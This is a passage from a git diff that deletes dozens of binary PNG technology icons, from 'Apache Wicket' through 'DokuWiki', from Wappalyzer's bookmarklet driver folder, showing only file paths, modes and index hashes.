deleted file mode 100644 index e3081a6..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Apache Wicket.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Apache.png b/Wappalyzer/drivers/bookmarklet/images/icons/Apache.png deleted file mode 100644 index 117b485..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Apache.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/AppNexus.png b/Wappalyzer/drivers/bookmarklet/images/icons/AppNexus.png deleted file mode 100644 index e988098..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/AppNexus.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Arc Forum.png b/Wappalyzer/drivers/bookmarklet/images/icons/Arc Forum.png deleted file mode 100644 index c01f4e4..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Arc Forum.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Artifactory Web Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/Artifactory Web Server.png deleted file mode 100644 index 27d157e..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Artifactory Web Server.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Artifactory.png b/Wappalyzer/drivers/bookmarklet/images/icons/Artifactory.png deleted file mode 100644 index 27d157e..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Artifactory.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/AsciiDoc.png b/Wappalyzer/drivers/bookmarklet/images/icons/AsciiDoc.png deleted file mode 100644 index c1c66bc..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/AsciiDoc.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Atlassian Bitbucket.png b/Wappalyzer/drivers/bookmarklet/images/icons/Atlassian Bitbucket.png deleted file mode 100644 index 675cc8d..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Atlassian Bitbucket.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Atlassian Confluence.png b/Wappalyzer/drivers/bookmarklet/images/icons/Atlassian Confluence.png deleted file mode 100644 index 336a91d..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Atlassian Confluence.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Atlassian FishEye.png b/Wappalyzer/drivers/bookmarklet/images/icons/Atlassian FishEye.png deleted file mode 100644 index fb5e320..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Atlassian FishEye.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Atlassian Jira Issue Collector.png b/Wappalyzer/drivers/bookmarklet/images/icons/Atlassian Jira Issue Collector.png deleted file mode 100644 index 4c3963d..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Atlassian Jira Issue Collector.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Atlassian Jira.png b/Wappalyzer/drivers/bookmarklet/images/icons/Atlassian Jira.png deleted file mode 100644 index 4c3963d..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Atlassian Jira.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Avangate.png b/Wappalyzer/drivers/bookmarklet/images/icons/Avangate.png deleted file mode 100644 index 55f496a..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Avangate.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/BIGACE.png b/Wappalyzer/drivers/bookmarklet/images/icons/BIGACE.png deleted file mode 100644 index 7ce150b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/BIGACE.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Backbone.js.png b/Wappalyzer/drivers/bookmarklet/images/icons/Backbone.js.png deleted file mode 100644 index 0ffdb44..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Backbone.js.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Banshee.png b/Wappalyzer/drivers/bookmarklet/images/icons/Banshee.png deleted file mode 100644 index e55ef54..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Banshee.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/BaseHTTP.png b/Wappalyzer/drivers/bookmarklet/images/icons/BaseHTTP.png deleted file mode 100755 index 76467ab..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/BaseHTTP.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/BigDump.png b/Wappalyzer/drivers/bookmarklet/images/icons/BigDump.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/BigDump.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Bigcommerce.png b/Wappalyzer/drivers/bookmarklet/images/icons/Bigcommerce.png deleted file mode 100644 index e02823e..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Bigcommerce.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Bigware.png b/Wappalyzer/drivers/bookmarklet/images/icons/Bigware.png deleted file mode 100644 index 6457f7b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Bigware.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/BittAds.png b/Wappalyzer/drivers/bookmarklet/images/icons/BittAds.png deleted file mode 100644 index a8f3747..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/BittAds.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Blip.tv.png b/Wappalyzer/drivers/bookmarklet/images/icons/Blip.tv.png deleted file mode 100644 index 34dd8b4..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Blip.tv.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Blogger.png b/Wappalyzer/drivers/bookmarklet/images/icons/Blogger.png deleted file mode 100644 index 17bd56b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Blogger.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/BlueKai.png b/Wappalyzer/drivers/bookmarklet/images/icons/BlueKai.png deleted file mode 100644 index b2861d0..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/BlueKai.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Bluefish.png b/Wappalyzer/drivers/bookmarklet/images/icons/Bluefish.png deleted file mode 100644 index 846a3a6..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Bluefish.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Boa.png b/Wappalyzer/drivers/bookmarklet/images/icons/Boa.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Boa.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Bolt.png b/Wappalyzer/drivers/bookmarklet/images/icons/Bolt.png deleted file mode 100644 index fd953e0..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Bolt.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Bonfire.png b/Wappalyzer/drivers/bookmarklet/images/icons/Bonfire.png deleted file mode 100644 index aff2cd0..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Bonfire.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Brother.png b/Wappalyzer/drivers/bookmarklet/images/icons/Brother.png deleted file mode 100755 index 737a032..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Brother.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/BrowserCMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/BrowserCMS.png deleted file mode 100644 index 0419a33..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/BrowserCMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/BugSense.png b/Wappalyzer/drivers/bookmarklet/images/icons/BugSense.png deleted file mode 100644 index d02b2b4..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/BugSense.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/BugSnag.png b/Wappalyzer/drivers/bookmarklet/images/icons/BugSnag.png deleted file mode 100644 index 5f22282..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/BugSnag.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Bugzilla.png b/Wappalyzer/drivers/bookmarklet/images/icons/Bugzilla.png deleted file mode 100644 index 6bf988c..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Bugzilla.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Burning Board.png b/Wappalyzer/drivers/bookmarklet/images/icons/Burning Board.png deleted file mode 100644 index e0260c1..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Burning Board.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Business Catalyst.png b/Wappalyzer/drivers/bookmarklet/images/icons/Business Catalyst.png deleted file mode 100644 index 2c1f2ea..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Business Catalyst.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/BuySellAds.png b/Wappalyzer/drivers/bookmarklet/images/icons/BuySellAds.png deleted file mode 100644 index 4f22871..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/BuySellAds.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/C++.png b/Wappalyzer/drivers/bookmarklet/images/icons/C++.png deleted file mode 100644 index bfb1f98..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/C++.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/CFML.png b/Wappalyzer/drivers/bookmarklet/images/icons/CFML.png deleted file mode 100644 index b8424fb..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/CFML.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/CKEditor.png b/Wappalyzer/drivers/bookmarklet/images/icons/CKEditor.png deleted file mode 100644 index 568bcb2..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/CKEditor.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/CMS Made Simple.png b/Wappalyzer/drivers/bookmarklet/images/icons/CMS Made Simple.png deleted file mode 100644 index 545b925..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/CMS Made Simple.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/CMSimple.png b/Wappalyzer/drivers/bookmarklet/images/icons/CMSimple.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/CMSimple.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/CO2Stats.png b/Wappalyzer/drivers/bookmarklet/images/icons/CO2Stats.png deleted file mode 100644 index 47689c3..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/CO2Stats.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/CPG Dragonfly.png b/Wappalyzer/drivers/bookmarklet/images/icons/CPG Dragonfly.png deleted file mode 100644 index bc2dcc3..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/CPG Dragonfly.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/CS Cart.png b/Wappalyzer/drivers/bookmarklet/images/icons/CS Cart.png deleted file mode 100644 index 172fdb7..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/CS Cart.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/CacheFly.png b/Wappalyzer/drivers/bookmarklet/images/icons/CacheFly.png deleted file mode 100644 index 5b8a060..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/CacheFly.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/CakePHP.png b/Wappalyzer/drivers/bookmarklet/images/icons/CakePHP.png deleted file mode 100644 index baece76..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/CakePHP.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Canon HTTP Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/Canon HTTP Server.png deleted file mode 100755 index 1f55e03..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Canon HTTP Server.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Canon.png b/Wappalyzer/drivers/bookmarklet/images/icons/Canon.png deleted file mode 100755 index 1f55e03..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Canon.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Carbon Ads.png b/Wappalyzer/drivers/bookmarklet/images/icons/Carbon Ads.png deleted file mode 100644 index 0429a48..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Carbon Ads.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Cargo.png b/Wappalyzer/drivers/bookmarklet/images/icons/Cargo.png deleted file mode 100644 index b6512fa..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Cargo.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Catwalk.png b/Wappalyzer/drivers/bookmarklet/images/icons/Catwalk.png deleted file mode 100755 index 1f55e03..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Catwalk.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/CentOS.png b/Wappalyzer/drivers/bookmarklet/images/icons/CentOS.png deleted file mode 100644 index fe2bc71..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/CentOS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/CenteHTTPd.png b/Wappalyzer/drivers/bookmarklet/images/icons/CenteHTTPd.png deleted file mode 100644 index 7204070..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/CenteHTTPd.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Chameleon.png b/Wappalyzer/drivers/bookmarklet/images/icons/Chameleon.png deleted file mode 100644 index 6bf587d..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Chameleon.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Chamilo.png b/Wappalyzer/drivers/bookmarklet/images/icons/Chamilo.png deleted file mode 100644 index 3beec78..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Chamilo.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Chartbeat.png b/Wappalyzer/drivers/bookmarklet/images/icons/Chartbeat.png deleted file mode 100644 index 3ecfbd9..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Chartbeat.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Cherokee.png b/Wappalyzer/drivers/bookmarklet/images/icons/Cherokee.png deleted file mode 100644 index a0d513b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Cherokee.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/CherryPy.png b/Wappalyzer/drivers/bookmarklet/images/icons/CherryPy.png deleted file mode 100755 index 75fa500..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/CherryPy.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Chitika.png b/Wappalyzer/drivers/bookmarklet/images/icons/Chitika.png deleted file mode 100644 index 449045e..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Chitika.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ClickHeat.png b/Wappalyzer/drivers/bookmarklet/images/icons/ClickHeat.png deleted file mode 100644 index 7ff2bbe..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/ClickHeat.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ClickTale.png b/Wappalyzer/drivers/bookmarklet/images/icons/ClickTale.png deleted file mode 100644 index 3c358ef..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/ClickTale.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Clicky.png b/Wappalyzer/drivers/bookmarklet/images/icons/Clicky.png deleted file mode 100644 index 426d872..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Clicky.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/CloudFlare.png b/Wappalyzer/drivers/bookmarklet/images/icons/CloudFlare.png deleted file mode 100644 index bddcde3..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/CloudFlare.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Cloudera.png b/Wappalyzer/drivers/bookmarklet/images/icons/Cloudera.png deleted file mode 100755 index 2130f11..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Cloudera.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/CodeIgniter.png b/Wappalyzer/drivers/bookmarklet/images/icons/CodeIgniter.png deleted file mode 100644 index b418ddf..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/CodeIgniter.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/CodeMirror.png b/Wappalyzer/drivers/bookmarklet/images/icons/CodeMirror.png deleted file mode 100644 index ef34d40..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/CodeMirror.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Commerce Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/Commerce Server.png deleted file mode 100644 index f0e1c12..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Commerce Server.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/CompaqHTTPServer.png b/Wappalyzer/drivers/bookmarklet/images/icons/CompaqHTTPServer.png deleted file mode 100755 index 44629e6..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/CompaqHTTPServer.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Concrete5.png b/Wappalyzer/drivers/bookmarklet/images/icons/Concrete5.png deleted file mode 100644 index 7dc61f3..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Concrete5.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Connect.png b/Wappalyzer/drivers/bookmarklet/images/icons/Connect.png deleted file mode 100644 index 994d06c..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Connect.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Contao.png b/Wappalyzer/drivers/bookmarklet/images/icons/Contao.png deleted file mode 100644 index e010032..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Contao.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Contenido.png b/Wappalyzer/drivers/bookmarklet/images/icons/Contenido.png deleted file mode 100644 index 598d97f..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Contenido.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Contens.png b/Wappalyzer/drivers/bookmarklet/images/icons/Contens.png deleted file mode 100644 index 8bb3988..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Contens.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ContentBox.png b/Wappalyzer/drivers/bookmarklet/images/icons/ContentBox.png deleted file mode 100644 index 2abfae4..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/ContentBox.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ConversionLab.png b/Wappalyzer/drivers/bookmarklet/images/icons/ConversionLab.png deleted file mode 100644 index a8396bf..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/ConversionLab.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Coppermine.png b/Wappalyzer/drivers/bookmarklet/images/icons/Coppermine.png deleted file mode 100644 index bfbac43..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Coppermine.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Cosmoshop.png b/Wappalyzer/drivers/bookmarklet/images/icons/Cosmoshop.png deleted file mode 100644 index 1bcbca7..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Cosmoshop.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Cotonti.png b/Wappalyzer/drivers/bookmarklet/images/icons/Cotonti.png deleted file mode 100644 index 274ef7b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Cotonti.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/CouchDB.png b/Wappalyzer/drivers/bookmarklet/images/icons/CouchDB.png deleted file mode 100644 index a0a4422..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/CouchDB.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/CppCMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/CppCMS.png deleted file mode 100644 index b745d73..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/CppCMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Craft CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Craft CMS.png deleted file mode 100644 index bfbdb65..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Craft CMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Crazy Egg.png b/Wappalyzer/drivers/bookmarklet/images/icons/Crazy Egg.png deleted file mode 100644 index ff8b904..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Crazy Egg.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Criteo.png b/Wappalyzer/drivers/bookmarklet/images/icons/Criteo.png deleted file mode 100644 index 2334e4d..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Criteo.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Cross Pixel.png b/Wappalyzer/drivers/bookmarklet/images/icons/Cross Pixel.png deleted file mode 100644 index 7984e3d..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Cross Pixel.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/CubeCart.png b/Wappalyzer/drivers/bookmarklet/images/icons/CubeCart.png deleted file mode 100644 index ac631e7..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/CubeCart.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Cufon.png b/Wappalyzer/drivers/bookmarklet/images/icons/Cufon.png deleted file mode 100644 index 07b81f4..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Cufon.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/D3.png b/Wappalyzer/drivers/bookmarklet/images/icons/D3.png deleted file mode 100644 index 375a73f..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/D3.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/DAV.png b/Wappalyzer/drivers/bookmarklet/images/icons/DAV.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/DAV.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/DHTMLX.png b/Wappalyzer/drivers/bookmarklet/images/icons/DHTMLX.png deleted file mode 100644 index d74c581..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/DHTMLX.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/DTG.png b/Wappalyzer/drivers/bookmarklet/images/icons/DTG.png deleted file mode 100644 index 2f1ed03..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/DTG.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Dancer.png b/Wappalyzer/drivers/bookmarklet/images/icons/Dancer.png deleted file mode 100644 index 346ea74..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Dancer.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Danneo CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Danneo CMS.png deleted file mode 100644 index 136d502..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Danneo CMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Dart.png b/Wappalyzer/drivers/bookmarklet/images/icons/Dart.png deleted file mode 100644 index 35c6ccd..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Dart.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Darwin.png b/Wappalyzer/drivers/bookmarklet/images/icons/Darwin.png deleted file mode 100755 index 65606bf..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Darwin.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/DataLife Engine.png b/Wappalyzer/drivers/bookmarklet/images/icons/DataLife Engine.png deleted file mode 100644 index 871ad39..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/DataLife Engine.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/David Webbox.png b/Wappalyzer/drivers/bookmarklet/images/icons/David Webbox.png deleted file mode 100644 index 16e72fa..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/David Webbox.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Debian.png b/Wappalyzer/drivers/bookmarklet/images/icons/Debian.png deleted file mode 100644 index 42db76b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Debian.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Decorum.png b/Wappalyzer/drivers/bookmarklet/images/icons/Decorum.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Decorum.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/DedeCMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/DedeCMS.png deleted file mode 100644 index af4913f..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/DedeCMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Dell.png b/Wappalyzer/drivers/bookmarklet/images/icons/Dell.png deleted file mode 100755 index 5803d63..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Dell.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Demandware.png b/Wappalyzer/drivers/bookmarklet/images/icons/Demandware.png deleted file mode 100644 index c2ef8d5..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Demandware.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Deployd.png b/Wappalyzer/drivers/bookmarklet/images/icons/Deployd.png deleted file mode 100644 index f715e47..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Deployd.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/DirectAdmin.png b/Wappalyzer/drivers/bookmarklet/images/icons/DirectAdmin.png deleted file mode 100644 index 75f1a7e..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/DirectAdmin.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Discourse.png b/Wappalyzer/drivers/bookmarklet/images/icons/Discourse.png deleted file mode 100644 index dcda977..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Discourse.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Disqus.png b/Wappalyzer/drivers/bookmarklet/images/icons/Disqus.png deleted file mode 100644 index abbca62..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Disqus.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Django CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Django CMS.png deleted file mode 100644 index 20909ea..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Django CMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Django.png b/Wappalyzer/drivers/bookmarklet/images/icons/Django.png deleted file mode 100644 index bd3ea09..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Django.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Dojo.png b/Wappalyzer/drivers/bookmarklet/images/icons/Dojo.png deleted file mode 100644 index 96833c3..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Dojo.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Dokeos.png b/Wappalyzer/drivers/bookmarklet/images/icons/Dokeos.png deleted file mode 100644 index 855b23f..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Dokeos.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/DokuWiki.png b/Wappalyzer/drivers/bookmarklet/images/icons/DokuWiki.png deleted file mode 100644 index e9771b7..0000000 Binary files 